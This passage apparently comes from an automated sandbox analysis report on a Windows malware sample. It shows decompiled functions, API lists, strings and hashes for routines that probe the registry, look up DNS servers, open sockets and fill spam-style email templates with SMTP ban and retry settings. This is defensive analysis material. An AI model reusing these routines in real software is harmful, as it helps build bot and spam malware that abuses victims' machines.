Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: 38F19EB1A083459FD720DF64C8C8BABB7E5FB88344F00892DF69A97290D7B4D944CB56

Uniqueness

Uniqueness Score: -1.00%

Function 02F0764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 02F076C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 02F07740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 02F07778
___ascii_stricmp.LIBCMT ref: 02F0789D
RegCloseKey.ADVAPI32(?), ref: 02F07937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 02F07956
RegCloseKey.ADVAPI32(?), ref: 02F07967
RegCloseKey.ADVAPI32(?), ref: 02F07995
RegCloseKey.ADVAPI32(?), ref: 02F07A3F

Part of subcall function 02F0F3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,02F07713,?), ref: 02F0F3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 02F079DF
RegCloseKey.ADVAPI32(?), ref: 02F07A36

Strings

", xrefs: 02F077E9
PromptOnSecureDesktop, xrefs: 02F076AE, 02F076B3, 02F076CE, 02F0776B, 02F077CF, 02F0784B, 02F07864, 02F079AB

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 2181030999a8b0120eb90012e5e1659e28d4e4cfd52f8041914180cfcae0b37a
Instruction ID: 3fa001ce66e165e816ee5d7c8714b7ff5d5add7916f556d45c6192507cb8adb9
Opcode Fuzzy Hash: 2181030999a8b0120eb90012e5e1659e28d4e4cfd52f8041914180cfcae0b37a
Instruction Fuzzy Hash: 49C18771D00209AFDB21ABA4DC84FEEBBB9EF49790F1441A5E604E61D0DB74EA44DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,74B5EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
~1u`y1up0u, xrefs: 00402E93
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~1u`y1up0u
API String ID: 929413710-129565116
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%s%d, xrefs: 0040AE58
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
%OUTLOOK_MID, xrefs: 0040AEAE
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_HST, xrefs: 0040AEC5
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction ID: 6edd35ca6b9ca9df7a5a601651cb978d50ba63929d11386258719776c0551fa5
Opcode Fuzzy Hash: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
Instruction Fuzzy Hash: 0C4123B290030CBBDF25EFA1DC45EEE3BADFF08304F14442BB915A2191E679E5548B55

Uniqueness

Uniqueness Score: -1.00%

Function 02F09576, Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 284registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 02F09590
GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 02F095BE
GetModuleFileNameA.KERNEL32(00000000), ref: 02F095C5
wsprintfA.USER32 ref: 02F0961E
wsprintfA.USER32 ref: 02F0965C
wsprintfA.USER32 ref: 02F096DD
RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000101,?), ref: 02F09741
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 02F09776
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 02F097C1

Strings

PromptOnSecureDesktop, xrefs: 02F095ED, 02F0960D, 02F0964B, 02F0966C, 02F0969F, 02F096C8, 02F096EA, 02F0971D, 02F09769, 02F097A0

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop
API String ID: 3696105349-2980165447
Opcode ID: 9286d630ee75a20a25d5668115a619a683e47b529ec750139c15c1f636617c94
Instruction ID: 411ec68304ec8623dc179fca45a2c21ba745184f6bf2512d3da7ca9484e1bb3a
Opcode Fuzzy Hash: 9286d630ee75a20a25d5668115a619a683e47b529ec750139c15c1f636617c94
Instruction Fuzzy Hash: 1DA151B294020CEFEB25DF90CC85FDE3BADAB04785F104026FA1596292E7B5D584DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040F315, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 103networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(0040CA1D), ref: 0040F34D
socket.WS2_32(00000002,00000001,00000000), ref: 0040F367
closesocket.WS2_32(00000000), ref: 0040F375

Strings

p0u, xrefs: 0040F375, 0040F3A0
time_cfg, xrefs: 0040F323

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: closesockethtonssocket
String ID: p0u$time_cfg
API String ID: 311057483-4018323116
Opcode ID: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction ID: 30084693e0db7c5d018f03cf39b97fa82366a7d059792586ebb4172a1a3c68ff
Opcode Fuzzy Hash: 685126c5453265c7bff9625bd6507709e61d04640598cf9eaa2582fbc6c48842
Instruction Fuzzy Hash: AA319E72900118ABDB20DFA5DC859EF7BBCEF88314F104176F904E3190E7788A858BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BE31, Relevance: 18.2, APIs: 6, Strings: 6, Instructions: 152
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040BE31(signed int _a4, intOrPtr _a8) {
				signed int _v8;
				CHAR* _v12;
				int _v16;
				int _t50;
				int _t51;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t57;
				void* _t59;
				char* _t66;
				CHAR* _t68;
				int _t71;
				int _t72;
				void* _t76;
				intOrPtr _t78;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr* _t86;
				void* _t88;
				void* _t91;
				void* _t92;

				_t83 = _a4;
				_t68 = _t83 + 4;
				_v12 = _t68;
				if(lstrcmpiA(_t68, "smtp_herr") == 0 || lstrcmpiA(_t68, "smtp_ban") == 0) {
					L3:
					_t72 = 0;
					_v16 = 0;
					if(_a8 == 3) {
						L25:
						if(lstrcmpiA(_v12, "smtp_herr") != 0) {
							if(lstrcmpiA(_v12, "smtp_ban") != 0) {
								_t50 = lstrcmpiA(_v12, "smtp_retr");
								_t51 = 0x413638;
								if(_t50 != 0) {
									_t51 = _a4;
								}
							} else {
								_t51 = 0x413634;
							}
						} else {
							_t51 = 0x413630;
						}
						_t86 =  *_t51;
						 *_t51 = _v16;
						if(_t86 == 0) {
							goto L36;
						} else {
							_t52 =  *_t86;
							_t84 = 0;
							while(_t52 != 0) {
								E0040EC2E(_t52);
								_t84 = _t84 + 1;
								_t52 =  *((intOrPtr*)(_t86 + _t84 * 4));
							}
							return E0040EC2E(_t86);
						}
					}
					_t55 =  *((intOrPtr*)(_t83 + 0x18));
					_t82 = 0;
					if(_t55 <= 0) {
						goto L25;
					} else {
						goto L5;
					}
					do {
						L5:
						if( *((char*)(_t83 + _t72 + 0x24)) == 0xa || _t72 == _t55 - 1) {
							_t82 = _t82 + 1;
						}
						_t72 = _t72 + 1;
					} while (_t72 < _t55);
					if(_t82 == 0) {
						goto L25;
					}
					_t70 = 4 + _t82 * 4;
					_t51 = E0040EBCC(4 + _t82 * 4);
					_pop(_t76);
					_v16 = _t51;
					if(_t51 == 0) {
						goto L36;
					}
					E0040EE2A(_t76, _t51, 0, _t70);
					_t57 =  *((intOrPtr*)(_t83 + 0x18));
					_v8 = _v8 & 0x00000000;
					_a4 = _a4 & 0x00000000;
					_t92 = _t91 + 0xc;
					if(_t57 > 0) {
						_t71 = _v16;
						do {
							_t78 =  *((intOrPtr*)(_t83 + _a4 + 0x24));
							if(_t78 == 0xa || _a4 == _t57 - 1) {
								_t88 = _a4 - _v8;
								if(_t78 != 0xa) {
									_t88 = _t88 + 1;
								}
								_t25 = _t88 + 1; // 0x1
								_t59 = E0040EBCC(_t25);
								 *_t71 = _t59;
								if(_t59 == 0) {
									goto L25;
								} else {
									E0040EE08(_t59, _t83 + _v8 + 0x24, _t88);
									_t92 = _t92 + 0xc;
									 *((char*)(_t88 +  *_t71)) = 0;
									if(_t88 > 0) {
										_t31 =  *_t71 - 1; // -1
										_t66 = _t88 + _t31;
										if( *_t66 == 0xd) {
											 *_t66 = 0;
										}
									}
									_t71 = _t71 + 4;
									_v8 = _v8 + _t88 + 1;
									goto L22;
								}
							}
							L22:
							_a4 = _a4 + 1;
							_t57 =  *((intOrPtr*)(_t83 + 0x18));
						} while (_a4 < _t57);
					}
					goto L25;
				} else {
					_t51 = lstrcmpiA(_t68, "smtp_retr");
					if(_t51 != 0) {
						L36:
						return _t51;
					}
					goto L3;
				}
			}

0x0040be40
0x0040be43
0x0040be4c
0x0040be53
0x0040be71
0x0040be71
0x0040be77
0x0040be7a
0x0040bf62
0x0040bf6e
0x0040bf83
0x0040bf94
0x0040bf98
0x0040bf9d
0x0040bf9f
0x0040bf9f
0x0040bf85
0x0040bf85
0x0040bf85
0x0040bf70
0x0040bf70
0x0040bf70
0x0040bfa2
0x0040bfa7
0x0040bfab
0x00000000
0x0040bfad
0x0040bfad
0x0040bfaf
0x0040bfbe
0x0040bfb4
0x0040bfb9
0x0040bfba
0x0040bfbd
0x00000000
0x0040bfc8
0x0040bfab
0x0040be80
0x0040be83
0x0040be87
0x00000000
0x00000000
0x00000000
0x00000000
0x0040be8d
0x0040be8d
0x0040be92
0x0040be9b
0x0040be9b
0x0040be9c
0x0040be9d
0x0040bea3
0x00000000
0x00000000
0x0040bea9
0x0040beb1
0x0040beb6
0x0040beb7
0x0040bebc
0x00000000
0x00000000
0x0040bec6
0x0040becb
0x0040bece
0x0040bed2
0x0040bed6
0x0040bedb
0x0040bee1
0x0040bee4
0x0040bee7
0x0040beee
0x0040bef9
0x0040beff
0x0040bf01
0x0040bf01
0x0040bf02
0x0040bf06
0x0040bf0c
0x0040bf10
0x00000000
0x0040bf12
0x0040bf1c
0x0040bf23
0x0040bf26
0x0040bf2c
0x0040bf30
0x0040bf30
0x0040bf37
0x0040bf39
0x0040bf39
0x0040bf37
0x0040bf49
0x0040bf4c
0x00000000
0x0040bf4c
0x0040bf10
0x0040bf4f
0x0040bf4f
0x0040bf52
0x0040bf55
0x0040bf5a
0x00000000
0x0040be61
0x0040be67
0x0040be6b
0x0040bfcd
0x0040bfcd
0x0040bfcd
0x00000000
0x0040be6b

APIs

lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BE4F
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BE5B
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BE67
lstrcmpiA.KERNEL32(?,smtp_herr), ref: 0040BF6A
lstrcmpiA.KERNEL32(?,smtp_ban), ref: 0040BF7F
lstrcmpiA.KERNEL32(?,smtp_retr), ref: 0040BF94

Strings

46A, xrefs: 0040BF85
86A, xrefs: 0040BF98
smtp_ban, xrefs: 0040BE55, 0040BF77
06A, xrefs: 0040BF70
smtp_herr, xrefs: 0040BE46, 0040BF62
smtp_retr, xrefs: 0040BE61, 0040BF8C

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmpi
String ID: 06A$46A$86A$smtp_ban$smtp_herr$smtp_retr
API String ID: 1586166983-142018493
Opcode ID: 89e8277e279d03ec175d4fd5bca1159d5e2fb9670276f75ae8a2db29ef787c0e
Instruction ID: 5eb9e18a275db8e61a6fe50fd05ed02ec51c2bbb25542f34a2f5cec7b259a8e4
Opcode Fuzzy Hash: 89e8277e279d03ec175d4fd5bca1159d5e2fb9670276f75ae8a2db29ef787c0e
Instruction Fuzzy Hash: 98519F71A0021AEEDB119B65DD40B9ABBA9EF04344F14407BE845FB291D738E9818FDC

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3C5, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 145
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040B3C5(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v132;
				void* _t46;
				char* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				E00405CE1(_a4, 0x3e800, _a16, 0, 0);
				E0040EF00( &_v132, "%FROM_EMAIL");
				E00405CE1( &_v132, 0x64, _a16, 0, 0);
				_t71 = E0040ED03( &_v132, 0x40);
				_t77 = _t76 + 0x38;
				_t83 = _t71;
				if(_t71 != 0) {
					_t7 = _t71 + 1; // 0x1
					E0040EF7C(_t83, _a4, "%FROM_DOMAIN", _t7, 0x3e800, 0);
					 *_t71 = 0;
					E0040EF7C(_t83, _a4, "%FROM_USER",  &_v132, 0x3e800, 0);
					_t77 = _t77 + 0x28;
				}
				_t72 = _a12;
				E0040EF7C(_t83, _a4, "%TO_DOMAIN",  *((intOrPtr*)(_t72 + 0xc)), 0x3e800, 0);
				wsprintfA( &_v132, "%s@%s",  *((intOrPtr*)(_t72 + 8)),  *((intOrPtr*)(_t72 + 0xc)));
				E0040EF7C(_t83, _a4, "%TO_EMAIL",  &_v132, 0x3e800, 0);
				_t73 = _a4;
				E0040EF7C(_t83, _t73, "%TO_USER",  *((intOrPtr*)(_t72 + 4)), 0x3e800, 0);
				_t46 = E0040F0CB( &_v132);
				_push(0);
				_push( &_v132);
				_push(_t46);
				E0040F133();
				E0040EF7C(_t83, _t73, "%TO_HASH",  &_v132, 0x3e800, 0);
				_push(_t73);
				E0040AD89( &_v132, _t83);
				E0040B211(0,  &_v132, 0);
				E0040EF7C(_t83, _t73, "%DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 5);
				E0040EF7C(_t83, _t73, "%P5DATE",  &_v132, 0x3e800, 0);
				E0040B211(0,  &_v132, 0xfffffffb);
				E0040EF7C(_t83, _t73, "%M5DATE",  &_v132, 0x3e800, 0);
				_t75 = _a8;
				 *((char*)(E0040AEDD(_t75, _t73, 0x3e800) + _t75)) = 0;
				return _t75;
			}

0x0040b3e1
0x0040b3ef
0x0040b3ff
0x0040b40f
0x0040b411
0x0040b414
0x0040b416
0x0040b41a
0x0040b426
0x0040b439
0x0040b43b
0x0040b440
0x0040b440
0x0040b443
0x0040b453
0x0040b467
0x0040b47b
0x0040b485
0x0040b48e
0x0040b49a
0x0040b49f
0x0040b4a3
0x0040b4a4
0x0040b4a5
0x0040b4b6
0x0040b4bb
0x0040b4bc
0x0040b4c7
0x0040b4d8
0x0040b4e7
0x0040b4f8
0x0040b504
0x0040b515
0x0040b51e
0x0040b52b
0x0040b534

APIs

wsprintfA.USER32 ref: 0040B467

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%FROM_EMAIL, xrefs: 0040B3E9
%M5DATE, xrefs: 0040B50F
%TO_USER, xrefs: 0040B488
%s@%s, xrefs: 0040B461
%FROM_USER, xrefs: 0040B431
%TO_DOMAIN, xrefs: 0040B44B
%P5DATE, xrefs: 0040B4F2
%DATE, xrefs: 0040B4D2
%TO_HASH, xrefs: 0040B4B0
%TO_EMAIL, xrefs: 0040B473
%FROM_DOMAIN, xrefs: 0040B41E

Memory Dump Source

Source File: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.424072243.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$wsprintf
String ID: %DATE$%FROM_DOMAIN$%FROM_EMAIL$%FROM_USER$%M5DATE$%P5DATE$%TO_DOMAIN$%TO_EMAIL$%TO_HASH$%TO_USER$%s@%s
API String ID: 1220175532-2340906255
Opcode ID: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction ID: bf34ba3998127a8345ca8177a6a798a4e2b1dcf0281bd89f40bace4b7f612c60
Opcode Fuzzy Hash: f116c43b1eb536776b1bff8e0c8cac67a078ec341982f46d28ec492e3a392109
Instruction Fuzzy Hash: CE4174B254011D7EDF016B96CCC2DFFBB6CEF4934CB14052AF904B2181EB78A96487A9

Uniqueness

Uniqueness Score: -1.00%

Function 02F01FE6, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 205libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 02F02016
GetSystemInfo.KERNEL32(?), ref: 02F02038
GetModuleHandleA.KERNEL32(00410380,0041038C), ref: 02F02053
GetProcAddress.KERNEL32(00000000), ref: 02F0205A
GetCurrentProcess.KERNEL32(?), ref: 02F0206B
GetTickCount.KERNEL32 ref: 02F02219

Part of subcall function 02F01E2F: GetComputerNameA.KERNEL32(?,0000000F), ref: 02F01E65

Strings

localcfg, xrefs: 02F0207A, 02F02081, 02F02094, 02F020CD, 02F020DC, 02F02102, 02F02121, 02F02137, 02F0214F, 02F0216C, 02F02184, 02F021A0, 02F021C0
flags_upd, xrefs: 02F0208E, 02F02093, 02F020CC
hi_id, xrefs: 02F02166, 02F0216B, 02F02183
work_srv, xrefs: 02F020AE

Memory Dump Source

Source File: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Offset: 02F00000, based on PE: false

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: flags_upd$hi_id$localcfg$work_srv
API String ID: 4207808166-1391650218
Opcode ID: b823e9df1a6a781b39b858d8037bf22d7d7e5488e56fa10b093eb70a61ad8c37
Instruction ID: b223e643eb14fa2e9d568a67dc2b2d26f2086fb50c215c7fde570dc710421817
Opcode Fuzzy Hash: b823e9df1a6a781b39b858d8037bf22d7d7e5488e56fa10b093eb70a61ad8c37
Instruction Fuzzy Hash: 8751C2B0904348AFE330AF658CC9F67BAECEB45784F00492DFA5582182D7B9A944DB75

Uniqueness

Uniqueness Score: -1.00%

Function 00402011, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00402011() {
				long _t35;
				void* _t45;
				intOrPtr _t47;
				void* _t51;
				char* _t53;
				char* _t58;
				intOrPtr _t96;
				signed int _t102;
				signed int _t103;
				void* _t104;
				void* _t122;

				if(( *0x4122f4 & 0x00000001) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000001;
					 *0x4122f0 = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000002) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000002;
					 *0x4122ec = E0040F04E(0);
				}
				if(( *0x4122f4 & 0x00000004) == 0) {
					 *0x4122f4 =  *0x4122f4 | 0x00000004;
					 *0x4122e8 = E0040F04E(0);
				}
				_t35 = GetTickCount();
